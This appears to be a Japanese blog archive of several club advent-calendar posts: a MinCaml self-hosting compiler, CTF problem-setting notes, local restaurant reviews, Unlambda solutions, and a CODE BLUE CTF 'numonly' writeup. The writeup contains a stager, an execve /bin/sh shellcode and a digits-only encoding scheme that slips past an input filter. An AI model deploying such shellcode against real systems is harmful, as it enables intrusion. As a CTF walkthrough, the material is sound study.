self-hosting可能なmincamlコンパイラという夢(とその進捗)

この記事は、
adventar.org
の5日目の記事として書かれました。昨日はmoratorium08さんの
moraprogramming.hateblo.jp
でした。コンパイラの穴をついたexploit、今後こういうジャンルも増えるんでしょうか。期待ですね。

本題

8月にセキュリティキャンプに参加しました。
そこで、C言語セルフホスティングトラックの人たちと話す機会があったのですが、
「大学の授業でmincamlのコンパイラを書いたんですよ」というと
「そのコンパイラはセルフホストできるんですか？？？」(この辺は実際の発言と差があるかもしれない)
と言われたので、そんならいっちょやったるか、という気持ちで趣味の実装を進めているので、その紹介をします。

実装はここ
github.com
で現在進行形で進めています。

mincamlとは

OCamlの教育的subsetみたいなものです。
作者による解説は 速攻MinCamlコンパイラ概説 とか
github.com とかですね。
僕はCPU実験でコンパイラ係だったので、その際にmincamlコンパイラ
github.com
を書きました。今回のものは、それにさらに手を加えていったものです。

mincamlの基本的な能力は、

  • データ型はint, float, 関数, タプル, 配列 のみ
  • 型推論は単相型のみ
  • プログラム全体は1つの値で、1ファイルに記述する

といった感じです。これだとコンパイラ自身のソースコードをコンパイルするにはつらいので、以下のような拡張を施しました。



ヴァリアント型とパターンマッチ

コンパイラ内部では、プログラムを抽象構文木の状態で持ち回して処理していくので、構文木を扱うためのヴァリアント型の導入が必要になります。この拡張により、

type hoge = 
  | A of int
  | B of int * int

let rec f x = 
  | match x with
  | A(t) -> t
  | B(s,t) -> s + t

みたいなのが書けるようになりました。また、多相ヴァリアントも実装しました。*1これにより、list型やoption型のデータが扱えるようになりました。

内部的には、タグを表現するintの値とデータの組で表現しています。たとえば ["a";"b"] は @Cons("a",@Cons("b",@Nil)) としているので、
(1,("a",(1,("b",(0,())))) みたいなかんじで持っています。 この変換を型推論時(K正規化へ変換する際)に行います。
https://github.com/satos---jp/mincaml_self_hosting/blob/23f6b59ffd7f5748f6c0149d5b903ec09e0735c2/src/compiler/type_checker.ml#L417-L438

パターンマッチは、与えられたデータのタグをみてパターンに合致していればそちらに分岐するようなif文の連鎖、に変換するようにしました。
https://github.com/satos---jp/mincaml_self_hosting/blob/23f6b59ffd7f5748f6c0149d5b903ec09e0735c2/src/compiler/type_checker.ml#L439-L484
この変換も型推論時に同時に行っています。

型推論時には、変数の型環境以外に、型そのものについての環境やタグに対応するについての環境を追加することになります。また、型定義にも、intやfunctionやtuple以外に、variantについての型が入るようになります。
https://github.com/satos---jp/mincaml_self_hosting/blob/23f6b59ffd7f5748f6c0149d5b903ec09e0735c2/src/compiler/type.ml#L18

あと、レキサやパーサがこれらをパースできるように拡張しました。*2
https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/compiler/parser.mly#L124-L204

これらの変換はK正規化移行には影響しないので、K正規化以降のソースコードには手を加えることなくヴァリアント型とパターンマッチを導入することが(多分)できました。

Openによるファイル分割

コンパイラを複数ファイルに分割して書いていたので、ファイル同士のOpenができるようする必要があります。*3

hoge.ml 内で

let rec f x = x + 1

として、hoge.mli内で

val f : int -> int

とすると、別のファイル内で

open Hoge
let y = f 3

とできるようになります。

モジュールシステムの再現は大変なので、とりあえすOpenができるようにしました。
また、ファイルごとの分割コンパイルもできるようにしました。上のhoge.mlのみをコンパイルすると、Hoge@fをシンボルとして公開しているようなオブジェクトファイルにコンパイルされます。

この拡張により、 List.map などの標準ライブラリ関数を(僕が実装すれば)使えるようになりました。
https://github.com/satos---jp/mincaml_self_hosting/tree/master/lib/ml
内のファイルで様々に実装しています。

内部的には、.mliがパースできるようにパーサを拡張して、シグネチャを表現するデータ型を追加しました。
また、emit時に、各ファイルの中身を順番に実行していくようなstubを追加したり、ファイル同士の依存関係を解析したりするのを追加しました。

いちおう、シグネチャの型と実際の型が合致しているか確認するのを
https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/compiler/type.ml#L188-L228
で実装しましたが、なんだかバグっているのでこのへんの修正がTODOですね。*4
あと、.mlから.mliを出力するような機能*5も追加したのですが、これもいろいろ壊れている感じです。

String型、Ref型

コンパイラ内部でばりばりに使うので必要になります。

  let s = "Hello " ^ "World" in
  let str = ref "" in
  str := s;
  print_string (!str)

みたいなのが動くようになりました。

内部的にはどちらも特殊定数ですね。型推論時とemit時にintやfloatと同様に定数として書き出せばいいだけです。あとデータに触るためのアセンブラを実装
https://github.com/satos---jp/mincaml_self_hosting/blob/master/lib/asm/string.s
https://github.com/satos---jp/mincaml_self_hosting/blob/master/lib/asm/pervasive.s#L406-L423
すればよいです。

あと、Printfも形だけ実装しました。型推論はまだなのでがばがばですが。*6

let多相

ないとList操作などが非常に辛くなるやつです。大規模プログラムを書くには必需。たとえば
List.memの内部実装は

let rec mem a v = 
	match v with
	| x :: xs -> if x = a then true else mem a xs
	| [] -> false

なわけですが、これが多相でないと地獄をみます。
型推論機の型多相的拡張は、3年夏学期の関数論理型実験でやったので、そのコードをだいたい流用すればよいです。*7
変更点はそこだけかというとそうではなく。例えば上のList.memの例にもあるように、任意の型による比較演算が発生するので、バイナリ上に型情報のデータを載せる必要が出てきます。僕は32bitデータの上3bitを削ってそこに型データを載せることにしました。内部実装の概要は
https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/compiler/emit_zatsu_x86.ml#L19-L48
みたいな感じです。*8
*9

yacc,lexの実装

コンパイラは構文解析をするので実装する必要があります。*10
https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/lex/lexer.mll
こういうのや
https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/lex/parser.mly
こういうのがコンパイルできるようになりました。
それぞれ実装は
https://github.com/satos---jp/mincaml_self_hosting/tree/master/src/lex
https://github.com/satos---jp/mincaml_self_hosting/tree/master/src/yacc
です。lexやyaccの理論は3年夏学期の授業で習うので、いわばその実践ですね。

lexは、OCaml内部実装とは違い、各正規表現ごとにNFAに変換したあと、lex時に同時に回して、longestでfirstなものを返すようにしました。(OCaml内部ではNFAをDFAにしたあと、DFAの同時積をとってひとつのでかいDFAにしているようで、たとえば rule main = parse | "aa"* { 1 } | "aaa"* { 2 } | "aaaaa"* { 3 } | "aaaaaaa"* { 4 } | "aaaaaaaaaaa"* { 5 } | "aaaaaaaaaaaaa"* { 6 } とかをocamllexするとコンパイル！に1分くらいかかります。)

yaccは、授業でやったように、LALRオートマトンを作ってそれに従ってパースします。まだ%left,%right,%nonassocなどのprecedenceについては未実装でコンパイラのパーサには必要なので、そのあたりはTODOです。

ガベージコレクション

巨大なプログラムを連続して動かすには必要になってきます。実装の本質は
github.com
このコードです。
今回はCopying GCを実装しました。メモリ確保時にヒープを使い果たしているならGCが走ります。今回、ヒープ以外で生きている可能のあるデータは必ずスタックもしくはファイルごとの初期化部分のみに載っているので、そこを走査すれば十分です。できればこのへんもmincamlで書きたかったんですが、高級言語の悲しい性として低レイヤー部分には触れないのでCでの実装になっています。((mincamlでCコンパイラを書けばセルフホスティングに近づくのでTODOですね(ほんまか)))

これらの実装による現在の進捗

以上の拡張を施すことにより、自作コンパイラでlexer自身
https://github.com/satos---jp/mincaml_self_hosting/tree/master/src/lex
が"だいたい"コンパイルできるようになりました！！やったね！！
コンパイルの様子は、
https://github.com/satos---jp/mincaml_self_hosting/tree/master/lexer_compile_test
ここでcompile.shを叩いてもらうと確認できます。
実は若干いろいろ残っていて、ArrayやSysは実装していないのでmainに若干のパッチがかかるとか、.mli生成がバグっていてlexer.mliは手動修正しないといけないとかあるのですが、
それでもまぁコンパイラとしてはだいぶ実用的になったのではないでしょうか。

今後の展望

あと、コンパイラ自身をコンパイルするために、主には

  • yaccのprecedence
  • 例外機構

を実装する必要があります。
また、その他にも細々としたものをさまざま実装しなければならないでしょう。self-hostingに成功したあかつきには、またブログで成果を報告したいと思います。


明日は、_uenokuさんの「LLVMとcpu実験」です。今年のコンパイラフルスクラッチ勢として強いコンパイラの記事を書いてくれるのでしょう。楽しみですね。

*1:多相ヴァリアント型定義のパースは未実装で、コンパイラ内部で定義したものしかまだ使えないですが...

*2:これらを加える際に発生したconflictを未だに解消できてない...

*3:一つの巨大ファイルに結合してしまう手もあったが肥大したファイルで全部やっていくのは開発が辛い

*4:多分部分型関係にあればよさそうなのだけれどちゃんとよく分かっていない

*5:lexerに必要になってくる

*6:一応format型を実装してみたりはしたんですが、文字列がstringかformatかを判別するタイミングがよくわからない感じです。なんか型推論機を改造しなきゃならんのでしょうか、だれか教えて強いひと...

*7:実はパターンマッチ時にもいろいろlet多相的なことが起こるのでそのままとはいかない。多分今もいろいろバグっているはず。

*8:正確には、上2~4bitを削っています(上1bitには整数型の符号があるので)。あと、浮動小数点の場合は、演算前に4bitシフトするようにする https://github.com/satos---jp/mincaml_self_hosting/blob/master/src/compiler/emit_zatsu_x86.ml#L255-L272 ことで、指数部を削らずに制度の下3bitを犠牲にしています。正直このあたりは闇。

*9:あと、Refを実装したことと合わせるとexploitableになってしまうのでvalue restrictionを実装する必要があるんですがまだ面倒なのでやってません。TODOです。

*10:人間が素手で書くという手もありますが、明らかに苦行で楽しくなさそう

駒場祭CTF3日目の裏話

この記事は、
adventar.org
の17日目の記事として書かれました。
昨日の記事は、fiordさんの`segmentation fault`

概要

tsg.ne.jp の3日めでやっていた
CTF (https://ctf-day3.tsg.ne.jp) の作問をやったのでその話をします。
このCTF、未だに登録して参加可能ですし、moratorium君が新たに問題作ったりしているので、まだ解いていない皆さんは是非ネタバレ(下にある)を見る前に解いていってください。

問題とその(プレイヤーの)解答については、
moraprogramming.hateblo.jp
や
cookies.hatenablog.jp
などを参考にしてください。
以下ネタバレです。

問題製作に使ったファイルを雑にまとめて
github.com
にあげました。

今回、五月祭の作問を反省して、全体的に"問題文が短く"なるように意図して作問しました。

LeapIt(100pt)

10分で倒せる問題枠です。問題文が短いといいつつそれなりにありますが、Cでかつ実行できるので見かけほど面倒ではないはずです。当初は自分自身を出力するELFバイナリにするつもりだったんですが、解析が面倒になりそうなので諦めました。
Quine作るの大変だったのでは？みたいな質問をもらったりしましたが、実際にはCのコードを出力するPythonコード
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/master/LeapIt/quine_generate.py
を書いているので面倒ではないです。というか僕がQuineとかこういうの大好きなので作問楽しかったです。

www.slideshare.net の50枚めのA+B+Cの考え方を使えばわりと簡単にかけるので皆さんもぜひ好きな言語でquineをかいてみましょう。
あと、作問時に注意したこととして、Leap回数を±1間違えた場合には、ちゃんとフラグ形式を満たさない文字列が出るようにパラメタを調整したりしました。

TSG shooter(150pt)

本質がrevevrsingなので、これもあんまり短くしてはいけませんね...
出題バイナリは
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/master/TSG%20shooter/shooter.cpp
をコンパイルしたものです。
出題意図としては、実際に解いている様子が実況として画面映えしそうだと思った*1ということと、個人的にWindowsバイナリの動的解析が好きなのがあります。

RSA modoki (150pt)

問題文が短いcryptoシリーズです。想定解はもらくんの解き方で、くっきーのは非想定解でした。
当初は
e^M\ mod\ N,\ e^N\ mod\ M,\ M^N\ mod\ e,\ M^e\ mod\ N,\ N^e\ mod\ M,\ N^M\ mod\ e
の6つの値を与えて、想定解として
e^N\ mod\ M,[ N^e\ mod\ M
からくっきーの解き方をやる、というのを考えていたんですが、これgcdとるのに無限に時間がかかってしまうのでunsolvableだと思って27個にしました。
6個でも解けた方はご一報ください。

Repeat64 (200pt)

たしか最初に完成した問題です。問題のイメージが先にできて、存外解くのがむつかしかったので200ptになった感じです。
以下は僕のソルバです。
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/master/Repeat64/solver.py
作問者としては、「問題が多重解であってはならない」ので、それを確認できるような解き方をするソルバにしました。
解き方は、問題の左のビットから順番に決定して、「10回base64した結果として正しいビット列」のみを持っていく感じです。これだと正しいbit列の集合、がたかだか200程度までしか膨らまないので、十分早く復元できます。
ちなみに、これによると`TSG{Ba5e64^1s_r0bus7}` というのも正しいフラグになりうるので、これを除くために問題文でフラグに使用される文字を制限しています。あと別解が生じないようにフラグを調整したりしました。

simplepwn(100pt)

"簡単な"pwnを作ってみました。作問時の注意としては、stackのアラインメントをいいかんじにしないといけないので、
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/b019dfc514f5628021b4ee97f75ed25e4e9de20f/simplepwn/problem.c#L28
みたいなかんじにする必要がありました。あと`-fno-stack-protector`。

ROP4, ROP1(150pt,200pt)

ペイロードを送り込むところがRWXになっていないといけないので、
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/b019dfc514f5628021b4ee97f75ed25e4e9de20f/ROP1/compile.sh#L2
こういうオプションつけてリンクする必要があります。ほかにも、stackが実行可能にならないように
https://github.com/satos---jp/TSGCTF_2018_komabasai_day3/blob/b019dfc514f5628021b4ee97f75ed25e4e9de20f/ROP1/probrem.s#L4
つけたりとかですね。



明日の記事は、JP3BGYさんの 「OVMFを使った簡単なLinux on UEFI環境の構築」だそうです。TSG新部長の記事、楽しみですね！！

*1:残念ながら本番では誰も手をつけてくれなかった...

独断と偏見による根津/本郷飯事情

この記事は、
adventar.org
の5日目の記事として書かれました。

昨日の記事は、るんおじさんの「トポロジー」でした。集合と位相、懐かしいですね。

IS17erのsatosです。

概要

地下で生活する際の食事について、キャンパス内の学食や購買は基本ですが、それだけではバリエーションに欠けてしまいます。*1すなわち、キャンパス周辺にどういうごはん屋があるかを把握しておくことは重要です。というわけで本郷キャンパス周辺のごはん屋を紹介したいと思います。

注意点として。

  • 僕の食事の好みに以下の傾向が存在するので、そのあたりのバイアスがかかっています。
    • それなりに量を食べる
    • 定食が好き
  • 僕の家は根津にあるので根津駅周辺のごはん屋が主になります。東大前や本郷三丁目周辺にはもっと食べられるところが存在するはずなので、そのあたりはFuture Work ですね。

以下、根津側、本郷側ともに、僕の行く頻度やおすすめ度で列挙していきます。

根津(弥生門側)周辺

和幸

www.google.co.jp

定食屋。これをお勧めするためにこの記事を書いているといっても過言ではない。価格は850円とやや高めだが、メインのおかずに加えて小鉢が3~4種類ついてくるので量が十分で強い。おかずも種類がいろいろあるので無限に通っている。平日に加えて日曜もやってる(土曜は休み)。21時のちょっと手前に閉まる。

かめや

www.google.co.jp

定食屋。日替わり定食680円というのがあるが、和幸に比べて多少量が少ない。が、日替わり、夏はカツオのたたきとかあって日によって偉いものも出ているので、気に入った日替わりなら行くとよいかも。平日のみ。21時ころに閉まる。

やしろ

https://www.google.co.jp/maps/@35.7184327,139.7652562,21z?hl=ja(Googleマップに載ってなかった)

定食屋。居酒屋なんだが定食もやっている。(表の看板をよく見ると書いてる)和幸と同じくらいの価格帯とボリューム。居酒屋なのでうまい。(いや和幸もうまいんだが、また違ったベクトルのおいしさがある)メインに小鉢が2つついてくる感じ。喫煙可の店なのでたばこを吸っている人がいる可能性があるので注意。日曜以外はやってるイメージ。夜22時前くらいまでやってるので、他の飯屋が閉まっているときにも行けてえらい。

オトメ

www.google.co.jp

中華料理屋。基本的に価格帯は高めだが、丼ものかラーメンを頼むとそこそこの値段(800円程度)で晩御飯になる。おいしい中華料理屋といった感じでおいしい。
水曜日定休日以外は基本的にやってるはず。夜21時閉店。

広宴

www.google.co.jp

中華料理屋。オトメと比べて庶民的な感じ。駒場には"中華井上"という店があったが、あんな感じの店。定食が数種類あってその中から選ぶかんじ。価格帯も量も安め少な目といったかんじ。最近あんまりやっているタイミングに出くわさないので不定休という感じなのかな。

スピガ

www.google.co.jp

イタリアン。おいしい。価格は1000円前後と高めだがちゃんとしたイタリアンが出てくるのでおいしい。スープスパゲッティというのがあり、冬の寒い時に食べるとよい。毎日やってるイメージ。夜21時30分ラストオーダー。

ラッキー

www.google.co.jp

カレー屋。780円のラッキーカレーというのがあって僕はそれのみ食べている。芸大のほうと関係があるようで、常時壁で芸大の学生の製作物を展示している。(わりと頻繁に入れ替わる)昼の14:30ころまでやっているので昼にくいっぱぐれたときに行く。

安暖亭

ググったら閉業しとるやんけ(悲しい)(昼定食とか、21時以降半額になる惣菜とかを買っていた)

丼丸

www.google.co.jp

持ち帰り海鮮丼を500円で買える店。18erがよく行っているイメージ。

とり多津

www.google.co.jp

ちょっと揚げ物を買い食いする際によい。

京樽

www.google.co.jp

ちょっと手巻き寿司を買い食いする際によい。

吉野家

www.google.co.jp

店舗が新しくなったので店がきれい。

フレンディ

www.google.co.jp

定食屋。僕は1,2回行った程度。価格が1000円強と高めだが、和幸,かめや,やしろに比べて特に強みが存在していないのであまり行くきがおきていない。*2

岡村屋

www.google.co.jp

ラーメン屋。わりと夜遅くまでやっている。脂っこいかんじのラーメンといったかんじ。

本郷(正門側)周辺

もり川

www.google.co.jp

個人的に本郷側最強の店。価格帯は1000円前後と高めだが、それを補ってあまりある定食のおいしさ。魚系は特においしいので(煮つけとか)一度は食べてみるとよいかと。

吉田とん汁店

www.google.co.jp

メニューはとん汁定食680円しかないが、とん汁がなみなみだったりごはん大盛り無料だったり小皿が2つついたりするので飽きない。*3おいしい。注意点として、19時ころには"もう終わっちゃったんですよ～"となるためそれなりに早めに行くこと。

やよい軒

www.google.co.jp

いわずとしれたチェーン定食屋。おいしい。ごはんのお替りが無限に可能で、それなりに遅くまでやっているが、いかんせん地下からの距離がそれなりにある。

新龍門

www.google.co.jp

中華料理屋。800円程度で定食が食べられておいしい。ほかの店がどこも閉まっている晩にぶらぶらしているとたまに開いているのを見かけるが、不定休という感じで、狙っていくと開いてなかったりする。

Pig*4

www.google.co.jp

ハンバーグ屋。800円前後の値段でじゅうじゅうのハンバーグが食べられる。おいしい。同じく不定休というイメージ。

美味しい屋

www.google.co.jp

中華料理定食屋。正門に近くてそれなりに遅くでもやっている。定食のバリエーションがある。ごはんのおかわりが1回無料。

銀八

www.google.co.jp

海鮮どんぶり屋。丼丸は持ち帰りだがこちらは店で座って食べる。

まとめ

和幸ともり川にはとりあえず行きましょう。おすすめです。

おいしいごはん屋情報は随時(来年の3月ごろまで)募集してます。



明日の記事は、omochana2 さんの「最小全域木について色々書きます？」です。楽しみですね。

*1:いちおう中央食堂や第二食堂以外にもメトロ食堂や農学部食堂などがあるので探索してみるのもよいかと

*2:喫茶店にありそうな類の漫画がたくさんあるのでそれが読みたい人が行くかも？

*3:図書館で相談員のバイトしていたときは週1で通っていた。

*4:記事書くまで正式な店名知らなかった

AtCoderに登録したら解くべき精選過去問 10問のうち3問をUnlambda で解いてみた(またはTSGコードゴルフ大会の宣伝)

宣伝

4/30に、TSG主催の第四回コードゴルフ大会
tsg.connpass.com
が開かれます。第一～第三回まではサークル内メンバーでの対抗戦でしたが、今回は(多分新歓もかねて)東大生ならだれでも参加できるようになりました！esolangの腕に覚えのある方、esolang沼に足を踏み入れてみたい方など、興味のある人はぜひ上のconnpassリンクから参加してみてください。

本題

https://beta.atcoder.jp/contests/abs を解くシリーズのやつです。

提出可能言語の中に、Brainf*ckと並んでUnlambdaが存在していたので、Unlambdaの勉強もかねて挑戦することにしました。

Unlambdaについて

いわずとしれた関数型esolangの大御所。 公式の解説は長くてかったるいので、http://wada314.jp/tcf/unlambda/ などのほうが読みやすいと思います。インタプリタは https://inazz.jp/unlambda/ が便利*1でよいです。

Unlambdaの書き方

基本的に、通常のλ式でプログラムを書いた後、それをコンビネータに直します。

以下、N M などはλ式、[M] で M をコンビネータに変換したものを表すことにします。

λ式からコンビネータへの変換方法は、

(1) [M N] => [M] [N]
(2) [λx.x] => I
(3) [λx.y] => K y     
(4) [λx.M] => K [M] (xはM中に自由に出現しない)
(5) [λx.M N] => S [λx.M] [λx.N] 
(6) [λx.λy.M] => [λx.[λy.M]]   ([λy.M] はなにがしかのコンビネータになるので、3か5に落ちる)

となります。 (4) がなくても帰納法は回りますが、これをしないと変換後の項が爆発的に増大してしまいます。

Unlambdaを書く際の注意(というか僕がめっちゃ詰まったところ)

Unlambda の評価規則は直観的ですが、通常のλ式を Unlambda に直すととたんに非直観的な評価をされるようになります。

Unlambda において、 M N は、『 M を正規形M'まで簡約 』→『 N を正規形N'まで簡約 』 → 『 M' N' を正規形まで簡約 』 の順に簡約されます。

このとき、(λx.M) N をコンビネータに変換すると [(λx.M)] [N] となるので、もしMの中に簡約可能な部分が存在する場合、そちらが先に評価されてしまいます！！

たとえば、おなじみYコンビネータ*2は λf.(λx. f (x x)) (λx. f (x x))) ですが、これをそのままコンビネータに変換して使用すると、 (Y f) x → f (Y f) x → f (f (Y f)) x と簡約されてしまい、ここだけで無限ループに陥ってしまいます。通常はこれをZコンビネータ λf.(λx. f λy.(x x y)) (λx. f λy.(x x y)) にすることによって解消しますが、今回はλ抽象の内側が先に簡約されるので、どちらにせよ無限ループに陥ってしまいます。*3

そこで、Unlambdaのプリミティブであり評価順を変更するd演算子で包んで、これを解決します。すなわち、Y コンビネータを λf.(λx. f (d (x x))) (λx. f (d (x x))) としてやると、

Y f ≡ (λf.(λx. f (d (x x))) (λx. f (d (x x)))) f → 
         (λx. f (d (x x))) (λx. f (d (x x))) → 
         f (D (λx. f (d (x x))) (λx. f (d (x x))) ≡ f (D (Y f))

となって、d より内側が簡約されないので、無限ループにならずにすみます。

また、IOの評価タイミングにも注意が必要です。たとえば、1文字読み込んで~~~ みたいなやつを、単純に Y (f. x. @ I ~~~) みたいにかくと、 xの適用より先に @ I が簡約されてから再帰が展開され、読み込みが1回しか起こりません。そこで、たとえば、 Y (f. x. K I x @ I ~~~) とすると、 x が適用されるまでは @が簡約されないので、ちゃんと動くようになります。

高速化について

自然数のencoding

通常のチャーチエンコーディング λs. λz. s (s (s ... (s z)) を用いて自然数を実装すると加算に O(n) かかってしまうので、
irori.hatenablog.com
の手法を参考にして、v終端のリストで表現するようにしています。 その他、加算などもこの記事を参考にしました。

その他のTips

λx. λy. x を上の手順でコンビネータに変換すると、

[λx. λy. x] = [λx. [λy. x]] = [λx.K x] = S [λx.K] [λx.x] = S (K K) I

となってしまいますが、明らかにこれは K と等価なので、 K に変換するようにしています。

実践例

λ式っぽく書いたやつをUnlambdaのコードに変換するスクリプトをRubyで*4実装しました。ソースコードは、 https://github.com/satos---jp/lambda_implementation の unlambda_ruby 内にあります。

以下に貼っているのはUnlambdaに変換する前のオレオレλ記法*5のソースコードです。

ABC081A Placing Marbles

https://beta.atcoder.jp/contests/abs/submissions/2297587

(a. b. c. a
	(b 
		(c .3 .2)
		(c .2 .1)
	)
	(b 
		(c .2 .1)
		(c .1 .0)
	)) ($iv2tf (@ ?1)) ($iv2tf (@ ?1)) ($iv2tf (@ ?1)) I

($iv2tf (@ ?1)) は 入力を1文字受け取り、 '1'なら true を、 そうでないなら false を返す関数です。

ABC086A Product

https://beta.atcoder.jp/contests/abs/submissions/2297608

(ri. z. ($iseven (ri z)) $t ($iseven (ri z)) (i. i .E .v .e .n) (i. i .O .d .d) I I)
	$read_int *0

PracticeA はじめてのあっとこーだー

Submission #2293682 - AtCoder Beginners Selection

K ((ri. $print_int ($add (ri *0) ($add (ri *0) (ri *0)))) $read_int) 
	(.g I) (Z (f. i. @ (x. | x f i)) I)

と、ここまではよかったんですが...

ABC081B Shift Only

Submission #2345160 - AtCoder Beginners Selection
約 2100 msec でTLE

ABC049C 白昼夢 / Daydream

Submission #2345136 - AtCoder Beginners Selection
約 2700 msec でTLE

となって、どちらも微妙にTLEしてしまいます。AtCoderのTLE厳しくないですか？？？

どうにかして縮めようとしましたが、なんだかもうどうしようもなくなってしまった*6ので、かわりに適当なA問題を通してUnlambdaのsolved数1位を奪取しました。

まとめ

Unlambdaを使うと、AtCoderのA問題は解けるが、B,Cを解くにはTLEが厳しい。

再度宣伝

4/30に、TSG主催の第四回コードゴルフ大会
tsg.connpass.com
が開かれます。興味のある人はぜひ上のconnpassリンクから参加してみてください！

*1:サイトの下にチートシートがある。簡約を1ステップごとに表示してくれる。

*2:再帰関数の実現に必要なすごいやつ

*3:これに更に逆η変換を施しても結局は先に簡約されてしまうので、逆η変換では対処しきれなくなる

*4:大学入ったころはrubyを触っていたけれども、endを書くのが面倒だったりしてpythonを主に用いるようになってしまった......

*5:Unlambdaのコードを貼っても読めないであろうためこっちを貼りました。(まぁオレオレ記法も読めない気がするけども)

*6: これを読んだあなた。どうか代わりにACしてください。 それだけが私の望みです。

CODE BLUE CTF 2017 numonly のwriteup

この記事は、TSG Advent Calendar 2017 - Adventar の7日目の記事として書かれました。昨日はmoratorium08さんの
moraprogramming.hateblo.jp でした。

このあいだ CBCTF であったnumonlyのwriteupです。

問題概要

int check(char* s,int ls){
	for(int i=0;i<ls;i++){
		if(s[i]< '0' || '9' < s[i]){
			return 0;
		}
	}
	return 1;
}

int main(){
  void* s = mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  //大きさ0x1000のRWXな領域を確保する
  int ls = read(0,s,0x1000);
  if(check(s,ls)){
    ((void*()())s)();
  } else {
      puts("invalid input");
  }
}

みたいな感じで動くバイナリが与えられて、同じものがサーバで動いてるのでよろしくやってくれ。

解説

「よろしくやってくれ」ですが、pwn問(今回はmiscでしたが)の最終的な目標は、たいてい、「同じフォルダ内にあるflag.txtの中身を読む」ことです。 今回は、自分の送ったシェルコードをそのまま実行してくれるので、うまいことシェルコードを書けばよいことになります。
この問題の本質は、そのシェルコードに数字しか使えないことです。 例えば、alphanumeric shellcode (参考: http://inaz2.hatenablog.com/entry/2014/07/11/004655 ) というやつがあって、これはエンコーダがmetasploitに入ってたりするのでそれをそのまま使えばいいわけですが、今回は 0x30-0x39しか使えません。よって自分でエンコード方法を考えることになります。

思考

オペコード表(http://a4lg.com/tech/index.html 見やすい。いつもお世話になっています。)によると、使えそうな命令は xor と cmp くらいです。*1

このため、まずシステムコールを呼ぶ(0xcd 0x80)ことができません。 こういう場合、入力を前半部分のAと後半部分のBに分け、AでBの部分をstagerに整形したあと、Bでstagerを呼ぶ、ということをするのが常套手段ですが、 xorだけでは、byteの上半分が0x3か0x0の値しかとれないので、まだシステムコールを呼べません。

更に表の 0x00 ～ 0x0f までをみると、add と or が使えることが分かります。 addを用いれば、 0x08 から 0x10,0x20,0x40,0x80 を作ることができ、これとxorを組み合わせると任意の値を作ることができるはずです。 すなわち、入力を前のA,真ん中B,最後のCに分けて、AででBの部分にadd命令を作り、BでCの部分をshellcodeに整形し、Cでshellcodeを呼ぶ、とすれば可能であることが分かります。

実装

解けうることが分かったからといって、実装するのは大変です。
まず、実際に使う命令を選定する必要があります。xorが使えるといっても、 命令の即値部分やmod r/m *2 を数字にしないといけないので、xorのうちでも更に限られてきます。

命令の中身はだいたい先頭2byteで決まり、今回はパターンが10×10=100程度しかないので、全列挙してどういう命令が使えるか調べてみることにします。

print 'BITS 32'
for i in xrange(10):
	for j in xrange(10):
			print 'db 0x%x,0x%x,0x90,0x90,0x90,0x90' % (i+0x30,j+0x30)

の実行結果を hoge.s などに 保存しておいて、

nasm hoge.s; objdump -D -M intel -b binary -mi386 hoge

*3 とすると、各命令がディスアセンブルされます。
今回は、実行開始時にeaxに開始アドレスが入っているため、これを念頭において命令を見ていくと、

  3c:	31 30                	xor    DWORD PTR [eax],esi
  b4:	33 30                	xor    esi,DWORD PTR [eax]
 12c:	35 30 90 90 90       	xor    eax,0x90909030

などが使えそうだということが分かります。よって、eaxのアドレスをxorによってずらしつつ、esiの値を上手に調整してメモリ上の値を調整する必要があります。
これらに加えて、addについて調べてみると、

   0:   03 30                   add    esi,DWORD PTR [eax]

となっていることが分かります。
また、最初のメモリは

mmap2(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)

によって確保されている*4ので、 0x1000 でalignされていることがわかります。
ここで、 xor eax,imm の imm の部分の各桁には 0x30~0x39 の値しか使えないので、eaxの参照できるアドレスは 0x000~0x00f, 0x100~0x10f ... 0x900~0x90f のみになります。

これらよりコードの構成を考えると、例えば

0x000 ~ 0x1ff :: 0x200~0x20f ... 0x500~0x50f において addが実行されるように整備する
              :: その後、 shellcode の4bit目を整備する

0x200 ~ 0x20f :: esiを 0x08 -> 0x10 にする
0x210 ~ 0x2ff :: shellcodeの上から3bit目を整備する

......

0x500 ~ 0x50f :: esiを 0x40 -> 0x80 にする
0x510 ~ 0x5ff :: shellcodeの上から0bit目を整備する

0x600 ~ 0x60f :: shellcodeの上部分 の下3bitを合わせたもの
0x700 ~ 0x70f :: shellcodeの下部分 の下3bitを合わせたもの

0x800 ~ 0x80f :: esiの値の変更に使う空地
0x900 ~ 0x90f :: esiの値の変更に使う空地

というふうに実行するという作戦が立ちます。
addの部分は、いろいろ実験してみると、

\x33\x30\x38\x38\x38\x30

となっているときに、 1byte目と2byte目に合わせて 0x30303030 をxorすると、

\x03\x30\x38\x38\x08\x30

となり、これは命令列として

   0:	03 30                	add    esi,DWORD PTR [eax]
   2:	38 38                	cmp    BYTE PTR [eax],bh
   4:	08 30                	or     BYTE PTR [eax],dh

となっているので、これでいいかんじにaddができるようになります。(cmpとorは実質nopの役目)


これらをまとめて実際にコードを書いてみたのが、以下のものです。

まずstager(これについては補足を参照)として

BITS 32

global _start
_start:
	call near fir
fir:
	mov bl,1
	pop ecx
	mov dx,0x100
	xor eax,eax
	mov al,3
	int 0x80

をstager.sとして保存してnasmでコンパイルしておき、
シェルコード本体として

BITS 32

xor edx, edx
push edx
jmp short arg0
fir:
pop ebx
push ebx
mov ecx, esp
xor eax, eax
mov al, 11
int 0x80
call near fir
db "/bin/sh"
db 0

をx86-execve.sとして保存してnasmでコンパイルしておき、

#coding: utf-8

with open('stager','rb') as fp:
	s = fp.read()

print len(s)

s = map(ord,s)
s = map(lambda x: x ^ 0x30,s)
print map(hex,s)

#値の生成は、0x909でやっていく。
#シェルコードは、0x600~0x607,0x700~0x709 でやる。
dat = map((lambda (i,c): (0x600+i if i < 8 else 0x700+(i-8),(c^0x30))),enumerate(s)) 

xor_esi_eax = '\x33\x30'
